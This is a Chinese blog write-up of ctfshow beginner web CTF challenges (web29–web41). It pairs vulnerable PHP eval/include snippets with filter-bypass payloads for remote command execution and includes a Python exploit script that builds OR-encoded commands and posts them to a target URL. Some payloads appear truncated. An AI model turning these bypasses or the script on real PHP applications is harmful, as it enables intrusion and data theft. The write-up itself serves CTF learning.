首页 > 其他分享 >ctfshow web入门

ctfshow web入门

时间:2023-06-20 14:36:27浏览次数:38  
标签:web 入门 text base64 flag 过滤 ctfshow php data

CTFshow web 入门

命令执行

web29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

没啥说的,过滤flag关键字,用通配符替换一下(*代替很多字符,?代替一个字符),用system命令直接读

也可拼接绕过连续俩单引号就是拼接''

也可以用复制命令把php文件内容cp到txt,然后访问

当然nl也可以代替cp,emmm,就是nl复制出来的有行号

pyload1:?c=system('tac fla?.php|grep ctfshow');

pyload2:?c=system('tac fl''ag.php|grep ctfshow');

pyload3:?c=system('cp fla?.??? 1.txt');然后访问/1.txt

web30

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,php字符,system命令

``和passthru都可以起到system的作用,值得注意的是``没有回显要用echo

当然也可以拼接替代通配符,略

pyload:?c=echo`tac fla?.???|grep ctfshow`;

pyload2:?c=passthru("tac f*|grep ctfshow");

web31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php,基础上还过滤了cat,sort,shell,英文句号还有单引号跟空格,cat 可以用nl,tac带替换,nl就是cat 输出多加了行号

上难度了,借鉴Pur3师傅的绕过姿势

用tab代替空格,tab的url编码为%09,空格为%20

payload:?c=passthru("more%09fl*");

在借鉴一下大菜鸡师傅的逃逸执行,逃逸之后想干啥敢杀,直接无视过滤

pyload:?c=eval($_GET('a'));&a=passthru("more%09fl*");右键查看源代码

web32

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

emmm,又多过滤了echo,分号还有左括号,反引号

问题不大,我们用include来文件包含绕过,include不用括号

;可以用?>代替,因为php语言最后一句话可以不用;结尾

pyload:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

然后base64解码即可

web33

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: [email protected]
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

虽然多过滤了双引号,无聊,这跟上题一样的思路即可

题无聊,人有趣呀,咱用data://协议命令执行一下吧

pyload1:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

pyload2:?c=include%0a$_POST[a]?>

post:a=data://text/plain,<?php eval(system("tac flag.php"))?>

web34

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

比上题多过滤了冒号,但是无所谓,上题俩pyload依然通杀

pyload1:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

pyload2:?c=include%0a$_POST[a]?>

post:a=data://text/plain,<?php eval(system("tac flag.php"))?>

web35

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

比上题又多过滤了<和=,感觉还能用?

果然如此。。。。

pyload1:?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

pyload2:?c=include%0a$_POST[a]?>

post:a=data://text/plain,<?php eval(system("tac flag.php"))?>

web36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: [email protected]
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这比上面多过滤了/和数字,障眼法,pyload依然能用,把1改为字母即可

pyload1:?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

pyload2:?c=include%0a$_POST[a]?>

post:a=data://text/plain,<?php eval(system("tac flag.php"))?>

web37,分割上面

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

大致意思是,判断有没有传c参数,有的话赋值给\(c,然后include文件包含\)c,过滤了flag关键字,include不能用通配符,直接日志注入传马即可,略。

看一下大菜鸡师傅的

data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

用base64编码绕过flag关键字过滤,高实在是高

其实,通配符直接替换即可哈哈哈

?c=data://text/plainc,

web38

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

禁用php,但是php根本没有用好吧,不禁用也没用

障眼法,上题pyload直接杀

pyload1:data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

pyload2:?c=data://text/plainc,

web39

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: [email protected]
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

这有意思了,它将我们传入的参数拼接了后缀(.在php里可以用来拼接字符串),但是无所谓,思路就是截断,直接无视拼接把?>加上即可,因为php文件结尾是?>

?c=data://text/plainc,?>

看下大菜鸡师傅的解释发现多此一举

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用,不用再闭合一次

障眼法

pyload:?c=data://text/plainc,

web40,难度

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: [email protected]
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

大眼一看,过滤的挺狠,咱也不知道还剩啥能用的字符

直接去瞅一瞅wp走起

get_defined_vars()此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

print_r() 显示关于一个变量的易于理解的信息。如果给出的是 stringintegerfloat,将打印变量值本身。如果给出的是 array,将会按照一定格式显示键和元素。object 与数组类似。

next()current() 的行为类似,只有一点区别,在返回值之前将内部指针向前移动一位。这意味着它返回的是下一个数组单元的值并将数组指针向前移动了一位。

pyload:?c=eval(array_pop(next(get_defined_vars())));

post:system("tac flag.php")

web41.羽

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: [email protected]
# @link: https://ctf.show

*/

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|。
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 

		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}

}
}
fwrite($myfile,$contents);
fclose($myfile);


大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

标签:web,入门,text,base64,flag,过滤,ctfshow,php,data
From: https://www.cnblogs.com/S1in/p/17493423.html

相关文章

  • iOS开发系列课程(01) --- iOS编程入门
    iOS概述什么是iOS  iOS是苹果公司为它的移动设备(iPhone、iPad、iWatch等)开发的移动操作系统。iOS发展史2007年苹果发布iPhoneRunsOSX2008年更名iPhoneOS2010年更名iOS2012年WWCD2012上发布iOS62013年WWCD2013上发布iOS72014年WWCD2014上发布iOS8和Swift2015年WWCD2015......
  • vue学习第24天 移动WEB开发------ rem适配布局
    目标:1)能够使用rem单位2)能够使用媒体查询的基本语法3)能够使用Less的基本语法4)能够使用Less中的嵌套5)能够使用Less中的运算6)能够使用2中rem适配方案7)能够独立完成xx移动端首页 思考:1、页面布局文字随屏幕大小变化而变化2、流式布局......
  • MyBatis入门指南
    MyBatis起源于iBatis,iBatis是ClintonBegin在2002年发起的开源项目,于2010年6月16日从Apache的网站退役,并被GoogleCode托管,改名为MyBatis。MyBatis是一个支持普通SQL查询、存储过程和高级映射的优秀的持久层框架,它消除了几乎所有的JDBC代码、对参数的手工设置以及对结果集繁琐的处......
  • JavaScript中Web应用程序事件处理
    通过下面的代码来绑定事件处理代码,不仅可以为同一事件源的同一事件重复绑定事件处理代码,还可以在只做一次浏览器兼容性检测的情况下完成所有的事件处理绑定。代码如下所示:js/mylib.jsvaraddEvent=function(target,name,fn){if(target.addEventListener)addEven......
  • Swift开发图解入门
    《论语·卫灵公》有一段经典对白:『子贡问为仁。子曰:工欲善其事,必先利其器。……』。对于一个程序员来说,好的工具不意味着一定能产生优质的代码,但是好的工具对提升开发效率的作用还是不言而喻的。想要用Swift做iOS开发,唯一可选的利器就是Xcode6了,童鞋们可以从下面的网站获得Xcode6的......
  • vue学习第21天 移动WEB开发 --- flex布局(弹性布局)
    学习目标1、flex盒子的布局原理2、flex布局的常用属性3、独立完成某个移动端首页案例 目录1、flex布局体验2、flex布局原理3、flex布局父项常见属性4、flex布局子项常见属性5、案例制作  ......
  • vue学习第18天 css --- 移动web开发 (单独/响应式、常见布局【单独:流式、flex、rem
    学习目标: 目录: 移动端基础 1、浏览器现状  2、手机屏幕现状 3、常见移动端屏幕尺寸查看地址: https://www.strerr.com/screen.html注:作为前端开发,不用纠结dp,dpi,pt,ppi等单位。 4、移动端调试方法 5、......
  • Web项目中使用Spring 3.x + Quartz 2.x实现作业调度详解
    Quartz是一个基于Java的作业调度管理的轻量级框架,目前在很多企业应用中被使用,它的作用类似于java.util中的Timer和TimeTask、数据库中的job等,但Quartz的功能更强大、更灵活。从Quartz2开始,你可以使用POJO作为一个任务(Job),这种开发方式进一步降低了代码的耦合度,如果跟Spring进行整合,......
  • 期货是怎么交易的?从入门到精通全方面解析
    期货市场是金融市场里较为热门的投资领域之一。期货合约是购买者和卖方达成了买卖协议,在特定的时间和价格交割特定量的商品或金融资产。期货市场交易活动的复杂性和变化性使得期货市场的交易不仅需要资深的投资者,还需要有相应的知识和技能才能够深入了解和适当地投资。那么,期货是怎......
  • Web自动化测试中的最佳实践和常见陷阱
    在现代软件开发中,Web自动化测试已经成为保证软件质量和提高开发效率的重要手段之一。然而,仅凭自动化测试工具和技术并不足以确保成功。下面我们将介绍一些Web自动化测试的最佳实践和常见陷阱,帮助您避免一些常见的错误和困难。首先,让我们来看一些Web自动化测试的最佳实践。首要问题......